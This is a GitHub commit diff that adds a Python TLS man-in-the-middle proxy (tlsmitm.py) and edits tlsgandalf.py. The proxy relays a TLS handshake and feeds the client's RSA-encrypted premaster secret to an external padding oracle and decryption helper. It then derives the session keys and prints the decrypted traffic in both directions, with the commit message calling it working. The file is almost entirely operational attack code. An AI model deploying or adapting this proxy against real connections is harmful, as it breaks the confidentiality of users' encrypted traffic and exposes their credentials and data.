Skip to content

Commit 1973026

Browse files
committed
Works-for-my-case TLS man in the middle
1 parent 3bda996 commit 1973026

File tree

2 files changed

+313
-17
lines changed

2 files changed

+313
-17
lines changed

tlsgandalf.py

+19-17
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,7 @@ def handshakeProxy(c_conn, s_conn, oracle):
2222
else: break
2323
clientHello = result
2424

25-
c_conn.version = (3, 1) # TODO : Hardcoded version ?
25+
c_conn.version = (3, 3) # TODO : Hardcoded version ?
2626

2727
for result in c_conn._sendMsg(clientHello):
2828
yield result
@@ -56,14 +56,15 @@ def handshakeProxy(c_conn, s_conn, oracle):
5656

5757
# TODO : this part is optional
5858
# CERTIFICATE REQUEST S -> C
59-
for result in c_conn._getMsg(ContentType.handshake,
60-
HandshakeType.certificate_request):
61-
if result in (0,1): yield result
62-
else: break
63-
certificate_request = result
59+
if 0:
60+
for result in c_conn._getMsg(ContentType.handshake,
61+
HandshakeType.certificate_request):
62+
if result in (0,1): yield result
63+
else: break
64+
certificate_request = result
6465

65-
for result in s_conn._sendMsg(certificate_request):
66-
yield result
66+
for result in s_conn._sendMsg(certificate_request):
67+
yield result
6768

6869

6970
# SERVER HELLO DONE S -> C
@@ -78,15 +79,16 @@ def handshakeProxy(c_conn, s_conn, oracle):
7879

7980
# TODO : this part is optional
8081
# CERTIFICATE C -> S
81-
for result in s_conn._getMsg(ContentType.handshake,
82-
HandshakeType.certificate,
83-
serverHello.certificate_type): # FIXME : we should allow anything ?
84-
if result in (0,1): yield result
85-
else: break
86-
clientCertificate = result
87-
88-
for result in c_conn._sendMsg(clientCertificate):
89-
yield result
82+
if 0:
83+
for result in s_conn._getMsg(ContentType.handshake,
84+
HandshakeType.certificate,
85+
serverHello.certificate_type): # FIXME : we should allow anything ?
86+
if result in (0,1): yield result
87+
else: break
88+
clientCertificate = result
89+
90+
for result in c_conn._sendMsg(clientCertificate):
91+
yield result
9092

9193

9294
# CLIENT KEY EXCHANGE C -> S

tlsmitm.py

+294
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,294 @@
1+
#!/usr/bin/env python3
2+
3+
import socket
4+
from tlslite.api import *
5+
from tlslite.constants import ContentType, HandshakeType
6+
from binascii import hexlify, unhexlify
7+
from tlslite.mathtls import calcMasterSecret
8+
from tlslite.messages import ApplicationData
9+
import subprocess
10+
import sys
11+
12+
def handshakeProxy(c_conn, s_conn, oracle):
13+
s_conn._handshakeStart(client=False)
14+
c_conn._handshakeStart(client=True)
15+
16+
s_settings = HandshakeSettings()
17+
c_settings = HandshakeSettings()
18+
19+
20+
# CLIENT HELLO C -> S
21+
for result in s_conn._getMsg(ContentType.handshake,
22+
HandshakeType.client_hello):
23+
if result in (0,1): yield result
24+
else: break
25+
clientHello = result
26+
27+
c_conn.version = (3, 1) # Hardcoded version
28+
29+
for result in c_conn._sendMsg(clientHello):
30+
yield result
31+
32+
33+
# Send Server Hello, Certificate and Server Hello Done in one packet
34+
s_conn.sock.buffer_writes = True
35+
36+
# SERVER HELLO S -> C
37+
for result in c_conn._getMsg(ContentType.handshake,
38+
HandshakeType.server_hello):
39+
if result in (0,1): yield result
40+
else: break
41+
serverHello = result
42+
43+
s_conn.version = serverHello.server_version
44+
cipherSuite = serverHello.cipher_suite
45+
46+
for result in s_conn._sendMsg(serverHello):
47+
yield result
48+
49+
50+
# CERTIFICATE S -> C
51+
for result in c_conn._getMsg(ContentType.handshake,
52+
HandshakeType.certificate,
53+
serverHello.certificate_type): # FIXME : we should only allow RSA
54+
if result in (0,1): yield result
55+
else: break
56+
serverCertificate = result
57+
58+
for result in s_conn._sendMsg(serverCertificate):
59+
yield result
60+
61+
62+
# CERTIFICATE REQUEST S -> C
63+
if 0:
64+
for result in c_conn._getMsg(ContentType.handshake,
65+
HandshakeType.certificate_request):
66+
if result in (0,1): yield result
67+
else: break
68+
certificate_request = result
69+
70+
for result in s_conn._sendMsg(certificate_request):
71+
yield result
72+
73+
74+
# SERVER HELLO DONE S -> C
75+
for result in c_conn._getMsg(ContentType.handshake,
76+
HandshakeType.server_hello_done):
77+
if result in (0,1): yield result
78+
else: break
79+
serverHelloDone = result
80+
81+
for result in s_conn._sendMsg(serverHelloDone):
82+
yield result
83+
84+
85+
s_conn.sock.flush()
86+
s_conn.sock.buffer_writes = False
87+
88+
89+
# Send Client Key Exchange, Change Cipher Spec, Finished in one message
90+
c_conn.sock.buffer_writes = True
91+
92+
# CERTIFICATE C -> S
93+
if 0:
94+
for result in s_conn._getMsg(ContentType.handshake,
95+
HandshakeType.certificate,
96+
serverHello.certificate_type): # FIXME : we should allow anything ?
97+
if result in (0,1): yield result
98+
else: break
99+
clientCertificate = result
100+
101+
for result in c_conn._sendMsg(clientCertificate):
102+
yield result
103+
104+
105+
# CLIENT KEY EXCHANGE C -> S
106+
for result in s_conn._getMsg(ContentType.handshake,
107+
HandshakeType.client_key_exchange,
108+
cipherSuite):
109+
if result in (0,1): yield result
110+
else: break
111+
clientKeyExchange = result
112+
113+
# Ask the oracle if we continue
114+
epms = clientKeyExchange.encryptedPreMasterSecret
115+
if not oracle(epms):
116+
# YOU SHALL NOT PASS !
117+
print("Shall not pass")
118+
return
119+
120+
print("Decoding phase")
121+
122+
# Decrypt master key
123+
dec = subprocess.Popen(['./decrypt', '{}:{}'.format(*oracleaddr), cert], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
124+
dec.stdin.write(hexlify(epms) + b'\n')
125+
dec.stdin.close()
126+
res = dec.stdout.readline().strip().split()[-1]
127+
dec.stdout.close()
128+
print(res)
129+
premasterSecret = unhexlify(res)
130+
131+
132+
# If it's ok, continue
133+
for result in c_conn._sendMsg(clientKeyExchange):
134+
yield result
135+
136+
137+
settings = HandshakeSettings()
138+
139+
140+
masterSecret = calcMasterSecret(c_conn.version,
141+
cipherSuite,
142+
premasterSecret,
143+
clientHello.random,
144+
serverHello.random)
145+
146+
print(masterSecret)
147+
148+
s_conn._calcPendingStates(cipherSuite, masterSecret,
149+
clientHello.random, serverHello.random,
150+
settings.cipherImplementations)
151+
c_conn._calcPendingStates(cipherSuite, masterSecret,
152+
clientHello.random, serverHello.random,
153+
settings.cipherImplementations)
154+
155+
print('foobar')
156+
157+
# CHANGE-CIPHER-SPEC C -> S
158+
for result in s_conn._getMsg(ContentType.change_cipher_spec):
159+
if result in (0,1):
160+
yield result
161+
s_changeCipherSpec = result
162+
for result in c_conn._sendMsg(s_changeCipherSpec):
163+
yield result
164+
165+
s_conn._changeReadState()
166+
c_conn._changeWriteState()
167+
168+
# SERVER-FINISHED C -> S
169+
for result in s_conn._getMsg(ContentType.handshake, HandshakeType.finished):
170+
if result in (0,1):
171+
yield result
172+
server_finished = result
173+
for result in c_conn._sendMsg(server_finished):
174+
yield result
175+
176+
c_conn.sock.flush()
177+
c_conn.sock.buffer_writes = False
178+
179+
180+
181+
# Send New Session Ticket, Change Cipher Spec, Finished in one message
182+
s_conn.sock.buffer_writes = True
183+
184+
# NEW-SESSION-TICKET
185+
for result in c_conn._getMsg(ContentType.handshake, HandshakeType.new_session_ticket):
186+
if result in (0,1):
187+
yield result
188+
newSessionTicket = result
189+
for result in s_conn._sendMsg(newSessionTicket):
190+
yield result
191+
192+
193+
# CHANGE-CIPHER-SPEC
194+
for result in c_conn._getMsg(ContentType.change_cipher_spec):
195+
if result in (0,1):
196+
yield result
197+
c_changeCipherSpec = result
198+
for result in s_conn._sendMsg(c_changeCipherSpec):
199+
yield result
200+
201+
c_conn._changeReadState()
202+
s_conn._changeWriteState()
203+
204+
205+
# SERVER-FINISHED
206+
for result in c_conn._getMsg(ContentType.handshake, HandshakeType.finished):
207+
if result in (0,1):
208+
yield result
209+
client_finished = result
210+
for result in s_conn._sendMsg(client_finished):
211+
yield result
212+
213+
s_conn.sock.flush()
214+
s_conn.sock.buffer_writes = False
215+
216+
c_conn._handshakeDone(False)
217+
s_conn._handshakeDone(False)
218+
219+
220+
cont = True
221+
while cont:
222+
for c_data, s_data in zip(c_conn.readAsync(), s_conn.readAsync()):
223+
if c_data in (0, 1):
224+
yield c_data
225+
elif not c_data:
226+
# End connection
227+
print('server ended')
228+
cont = False
229+
else:
230+
print('c', c_data)
231+
for result in s_conn.writeAsync(c_data):
232+
yield result
233+
if s_data in (0, 1):
234+
yield s_data
235+
elif not s_data:
236+
# End connection
237+
print('client ended')
238+
cont = False
239+
else:
240+
print('s', s_data)
241+
for result in c_conn.writeAsync(s_data):
242+
yield result
243+
244+
c_conn.close()
245+
s_conn.close()
246+
247+
print("The end")
248+
249+
250+
if __name__ == "__main__":
251+
if len(sys.argv) != 5:
252+
print("Usage: {} listenaddr connectaddr oracleaddr cert".format(sys.argv[0]))
253+
exit(0)
254+
255+
# Get parameters
256+
listenaddr, connectaddr, oracleaddr, cert = sys.argv[1:]
257+
listenaddr = (listenaddr.rsplit(':', 1)[0], int(listenaddr.rsplit(':', 1)[1]))
258+
connectaddr = (connectaddr.rsplit(':', 1)[0], int(connectaddr.rsplit(':', 1)[1]))
259+
oracleaddr = (oracleaddr.rsplit(':', 1)[0], int(oracleaddr.rsplit(':', 1)[1]))
260+
261+
oracle = lambda epms: not subprocess.call(["./trimmable", '{}:{}'.format(*oracleaddr), cert, hexlify(epms)])
262+
263+
# Setup server socket
264+
bindsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
265+
bindsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
266+
bindsock.bind(listenaddr)
267+
print("Listening on {}:{}".format(*listenaddr), file=sys.stderr)
268+
bindsock.listen(1)
269+
270+
while True:
271+
# Wait for client
272+
s_sock, fromaddr = bindsock.accept()
273+
print("Connection from {}:{}".format(*fromaddr), file=sys.stderr)
274+
275+
# Open connection to the TLS server
276+
c_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
277+
c_sock.connect(connectaddr)
278+
print("Proxying to {}:{}".format(*connectaddr), file=sys.stderr)
279+
280+
c_sock.setblocking(False)
281+
s_sock.setblocking(False)
282+
283+
c_conn = TLSConnection(c_sock)
284+
s_conn = TLSConnection(s_sock)
285+
286+
# Proxy the connection
287+
for res in handshakeProxy(c_conn, s_conn, oracle):
288+
pass
289+
290+
c_sock.close()
291+
s_sock.close()
292+
print(file=sys.stderr)
293+
294+

0 commit comments

Comments
 (0)